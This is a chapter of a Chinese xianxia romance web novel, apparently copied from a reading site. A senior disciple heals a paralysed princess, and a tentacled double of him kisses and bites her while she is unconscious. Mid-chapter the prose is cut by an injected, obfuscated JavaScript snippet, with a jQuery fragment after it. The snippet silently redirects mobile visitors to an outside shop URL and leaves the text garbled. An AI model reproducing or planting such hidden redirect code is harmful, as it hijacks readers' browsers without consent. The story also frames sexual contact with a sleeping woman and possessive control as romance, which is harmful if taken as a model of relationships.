师兄今天怎么那么好,往日不是规定的时间他才不管呢。

    沾缨高兴得抑制不住心跳,露出洁白整齐的牙齿,“好呀好呀。”

    越岐崖拥着她坐好,拿走她平日了把玩的绢人布偶。他的大掌完全包裹住她的膝盖,灵力化作一股滚烫的暖流从掌心缓缓流入沾缨体内。

    她看着他低垂的眉眼,目光迷离,呼吸急促起来。沾缨没有知觉腿逐渐恢复呼吸,甚至能做出小幅度的提腿,她不可置信地张大嘴巴,激动地抓紧越岐崖的小臂,眉眼间都是欢喜。

    但他一旦停止灵力,她的双腿就失去了温度,生机骤然截断,压根儿不能续上断掉的筋脉,她仍然是废物一个。见过阳光的人怎么甘愿回到黑暗,她央求越岐崖,再多点。

    “好好师兄,我要很多的灵力,很多的灵力。”她握住他要抽离的手掌,鼻尖蹭过他喉结,眸中泛着水雾,“……不要。”

    她说不要,急得无助可怜。越岐崖的指腹在她眼尾轻轻摩挲,擦去将落未落的泪珠,“等师兄寻到灵药就好了,要等合适的时机。”

    微凉的触感让她心尖一颤,她哑了嗓音问,“要等到什么时候?”

    “什么时候才是合适的时机。”皇兄也让她等,说他会找灵丹妙药回来,人没了,宦黎亦是消失得毫无音讯。

    师兄是男主不会消失的,但是但是……她恐慌极了,支支吾吾问,“是不是根本没有治腿的药,都是骗人的。”她湿漉漉的眼眸盯着他的双眼寻求答案。

    一旦他露出虚假的苗头,她就对世界产生怀疑,道心崩塌,止不住的洪水崩溃流离。

    越岐崖手捂住她湿漉漉的眼,向她承诺,“会好起来的。你师兄可是天玄宗剑道第一,定能护你平安,事事如意。”

    温热的呼吸撒向她后颈,少女吸着鼻子问,“那师兄爱我吗?”

    她好奇地问,如同在问有没有甜糕一般语气平常,她的眼里没有炽烈的爱意,没有浓郁的占有,只是这么问。

    她长长的睫毛在他掌心下蝶翼般微微颤动,越岐崖透过指缝看她,她就如此无声无息地撩拨他心上的涟漪。

    越岐崖笑道,“为何这么问?”

    “呐,我想让师兄喜欢我。”快回答她吧,攻略任务岂不是手拿把掐,实在治不好,还有系统能做到呢。

    沾缨指尖勾住他的衣扣,眼尾染上红晕,霸道无力地命令,“你说喜欢我,爱我。”

    “哦。”越岐崖没有如她的意,发丝从他的肩膀垂落,遮住眼底的深意。他嘲笑她道,“师妹你还挺会做梦的。”

    “我不提,不代表我忘记了冷宫发生的一切。你当时怎么做?现在轻飘飘让我爱你?”越岐崖叹了口气,问她,又像是在自言自语,“我是这般犯贱的人么?”

    孔沾缨最讨厌人翻旧账了,她的确是不占理,但是她声音大,她会辩解,会胡搅蛮缠,“我当时不懂事嘛,你也不懂吗?我都道歉啦,认错啦,你还想怎样。”

    “难不成,难不成……”她嗫嚅出声,带着哭腔扯下他的掌心,冲他使起了性子,“难不成让师兄把我也锁起来,给师兄当狗吗?”

    越岐崖心想也不是不行,这可是她说的。

    他不说话,不反驳,沾缨心底发毛,生怕他听了进去要这般实施报复她。

    她委屈死了,又害怕,肩膀轻轻颤抖,欲言又止,眉间满是纠结。她说,“我可是公主,你不能这样对我。”

    越岐崖点头:“嗯,冷宫的公主。”

    “你好烦啊,师兄。”越岐崖讨厌死了,不受宠又怎样,她依旧是高贵的公主啊,公主,公主,他一个平民懂么,气死她了。

    公主怎么可以被铁链锁起来,她不要面子的吗。

    她双颊气得鼓囊囊的,可爱得很,让人忍不住揉捏她的脸蛋,越岐崖想着也就这般做了,手感还不错。

    “好了,有什么好生气,我还什么都没做呢。”越岐崖指尖点了她的眉心犹如血滴的一点红痣,一股无可奈何的意味,“你要那便依你吧,难受了可不怪我。”

    于是,中断的灵力又续上了,沾缨如同濒死的枯骨人一朝回春,长满血肉。她发自内心地心满意足,眼底的星星藏也藏不住的闪烁,“嘻嘻,谢谢师兄,越岐崖你真好,你不喜欢我没关系。”

    “我喜欢师兄就够了。”

    小公主甜言蜜语的话张嘴就来,丝毫不管听到的人会是何反应。

    他会当真的,他不是人本来底线就低,什么无情道都是骗人的。

    看着她欣喜的模样,他不忍停止,纵容地放任眼前一切。源源不断的灵力流入沾缨体内,她舒服地喟叹出声,浑身暖洋洋的。

    直到她撑得有些难受,灵力变得滚烫,灼烧她的四肢。躯体的容纳本该张弛有度,过多的摄入只会过分攫取人体精元。

    沾缨眼里雾蒙蒙地,她不知晓她正被师兄紧紧抱在怀里。

    少女坐在男人的怀里,男子的身后冒出无数触手牢牢缠绕着二人,有的触手自发地贴近了被灵力盛满的少女,在她柔嫩的白肌上磨蹭,渴望地想钻进骨血,与少女的血肉一同生长流动。

    但它们知晓少女十分脆弱,承受不住破骨之痛,只好,只能依依不舍地在表皮处流连。

    蛇雾从少女垂下的光洁的一节小腿攀爬而进。

    可怜的少女被岸然道貌的师兄哄骗,在熟睡中被人吃净。

    幽暗的寝殿中,黄金竖瞳死死盯着着沾缨,眼睛的主人舔了舔少女嘴角,舔去少女喜爱的蜂蜜味口脂,

    “是蜂蜜啊,怪不得这般甜。”

    青年犹如品尝到人间美味,舌尖挑开她的唇,蛇雾见状也凑近了,想要钻进去品尝。

    越岐崖指尖一弹,冷笑,“我未尝到,给你的胆子敢跟我抢食物,滚一边去。”

    蛇雾灰溜溜地爬开了,转而去少女寻未被侵占的领域,可它左看右看,竟然没有它能插足的缝隙,它没头脑地生气打着卷冲向身旁其他蛇雾,扭打、吞噬对方,争取挤占少女的躯体。

    男人俯下身来,毫无掩盖的、赤-裸充满欲望的视线一寸寸描摹她的眉眼,鼻尖,粉嫩可口的小嘴。

    他舌头扫过露出的牙尖,齿尖用力咬住沾缨的肩膀,在洁白无暇的肌肤上留下明显鲜红的牙齿咬痕。

    青年舌尖卷干净血迹为她止住疼痛,少女痛苦挣扎的动作慢了下来,她一向怕疼,又贪心得很。

    他最喜欢她的小舌,调皮又不配合,还反过来想咬他,越岐崖不甘示弱地夺走她全部呼吸,少女无力地挣扎,迷离地翻出眼白,痛苦又愉悦。

    越岐崖满意地勾起嘴角,无比缱绻地问她,“还敢随便说爱吗?受得住吗?”只怕会被他吓跑,分明是个胆小鬼。

    他当然等不到沾缨的回答,少女已经难受快乐的睡着了。

    越岐崖抱着她倒在柔软的床榻中,骨节分明的大掌锁着少女纤细的腰肢,强势地困着她,她的身形紧贴着他。二人亲密无间,远远超出正常师兄妹之间的距离。

    好想永远这般,与师妹骨血相依,永不分离,沾缨是他的,什么蝼蚁都不配侵夺她的注意力,师妹的眼里只能是他。越岐崖阴暗地想。

    他庆幸她皇兄死了,抢不了沾缨,又恨他出现的太晚,她皇兄成了死人让沾缨永远挂念着皇兄。

    为何同根的不是他和沾缨,为何有血缘关系的不是他啊,他想和沾缨的血管里流着同样的鲜血,鲜活的身躯里流转着同样的灵力。

    不过没关系,少女现在浑身上下都沾满了他的气息,从今

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626128|205827||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    往后都是他的,他们无比亲密,比师妹未来夫婿还要亲近。他会替师妹择选一门良缘,照顾她,但师妹只能和他最为亲密。

    越岐崖埋在她的脖颈处鼻尖抽动,深深吸了一大口,欲望无穷无尽,渴望在黑暗中不知不觉滋生蔓延,他的骨中血,肉中刺。

    次日,沾缨醒来时,不仅没有吸满灵力的充沛感,反而像是被人吸走了精气,十分困顿劳累,仿佛睡觉中被人捶打了一顿。

    身旁没有了人,一切都如同重复的一天,甚至轮椅、书籍的位置都没有变化。

    莫不是昨晚做梦呢,少女揉了揉脑袋,发丝乱糟糟地炸起来。

    倏然,门外传来“嘟嘟”敲门声,“师妹可起了?”

    是越岐崖的声音。

    沾缨懵懵地,下意识回道,“起了,师兄我起来了,你进来吧。”

    越岐崖得了屋内人的同意,推开门,一副风尘仆仆赶路的模样,金色的宗门服袍角经过路过的草沾湿了。

    她听见他道,

    “师妹对不住,师兄我昨日为未赶得及回来接你。我怕你彻夜呆在学堂未归,先去了趟学堂发现你不在,原来你已经回到束言山,是武瑛师妹送你回的?”

    束言山的禁制鲜少人能打开,他会认为是武瑛,概因先前他托了武瑛师妹得空替他照看师妹。

    沾缨瞳孔微睁,惊讶地张大了嘴巴,“不是你送我回来的吗?”昨夜那个师兄是假的不成?

    “什么?”越岐崖眉间蹙起,不知她为何这般惊恐。

    “没有没有,我睡糊涂了,是武瑛姐姐送我回的。”沾缨摇摇头,连忙改口。她看着眼前人,和记忆里昨晚的师兄对比,长得一样呀。

    “师兄。”沾缨朝他伸出双臂,要抱起来。

    越岐崖走上前俯身一把抱起少女娇弱的身躯,轻飘飘的重量压在他的臂弯。

    沾缨借机脑袋凑过去亲向他淡漠的唇,哪成想越岐崖眼疾手快躲开了她的动作,吻轻轻落在他的下颌。

    柔软的触感一触即离。

    “你想做什么?”越岐崖恼羞成怒了,“老实点,别动手动脚,不然我这就把你扔下。”

    “不要不要呀,师兄。” 少女求饶,手紧紧抓住他的衣领。她打量他的神色,他怎么变脸那么快,跟昨晚不一样的,昨夜师兄分明不排斥她的亲密啊,她好像还压着师兄亲了。

    他现在高洁烈男是何意思,沾缨越想越气愤,手心不由得攥紧。

    “轻点,衣服都要被你扯开了,成何体统。”越岐崖把她放在轮椅上推着她去里间盥沐。

    他拧干了帕子轻轻擦拭沾缨的脸,凡人就是麻烦,必须赶紧让她好起来,让她自理。

    越岐崖目光突然触及她微微散开的衣领,他的视力极好,捕捉到了那处有人故意留下的显眼咬痕。

    他手心的帕子差点捏碎,力道控制不住重了些。

    少女清甜的嗓音咿呀叫喊出来,“师兄,我脸要被你搓掉了。”

    越岐崖恨不得将帕子把她脸蒙上,他不免怀疑师妹是否背着他鬼混了。他笑意不达眼底,克制地,扯了扯嘴角,“上学可认识了新朋友?”

    少女低头思考。

    很难想吗?越岐崖等她的回答。

    沾缨道:“算是有吧,但我还不知晓他的名字,等我下回遇见了仔细问问。”

    还得谢谢他打算送她回束言山,说不定,下回组队,她也有队友了,他应该不会嫌弃她腿瘸吧,少女顿时对上学有一丝期待,不再那么抗拒。

    “我不允。”越岐崖看了她一眼,眸眼森冷,声音低沉冷漠,带着不容置疑的怒意,周遭空气冷了再冷。

    她怎能如此随便。见一个爱一个,走了缪兰、宦黎,又来一个不知名姓的杂碎。